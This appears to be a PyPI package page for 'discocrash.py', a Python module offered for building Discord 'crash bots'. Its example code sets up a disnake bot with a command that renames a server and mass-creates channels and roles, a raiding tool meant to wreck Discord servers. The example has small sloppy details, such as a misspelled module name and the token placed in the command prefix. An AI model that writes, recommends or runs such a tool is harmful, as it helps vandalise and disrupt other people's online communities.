Module for creating discord crash bots
Project description
discorash.py
This module can be used to create crash bots.
Installing
pip install discocrash.py
Example
import disnake
from discocrash import crash
from disnake.ext import commands, tasks
import asyncio
intents = disnake.Intents.all()
bot = commands.Bot(command_prefix="your token", intents=intents)
bot.remove_command('help')
token = "your token"
@bot.command()
async def crush(ctx):
await crash.crash(ctx, "crashed server name", "crash channel reason", "crash role reason", "crashed-channel-name", "crashed-role-name", 100, 10) #the penultimate parameter is responsible for how many channels will be created. The last parameter is responsible for how many roles will be created
bot.run(token)
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
discocrash.py-0.1.1.tar.gz
(15.9 kB
view hashes)
Built Distribution
Close
Hashes for discocrash.py-0.1.1-py3-none-any.whl
Algorithm | Hash digest | |
---|---|---|
SHA256 | f2c5198310c6dc670977133167632f815c1c8db74ee4cbbbf3c82432a11c2423 |
|
MD5 | 932c53586659a610409366ac8546d527 |
|
BLAKE2b-256 | ca72e0a1b010ecdc532e1f54389d8fdaa7290a268ebe3add2cc9f6ca42ca2531 |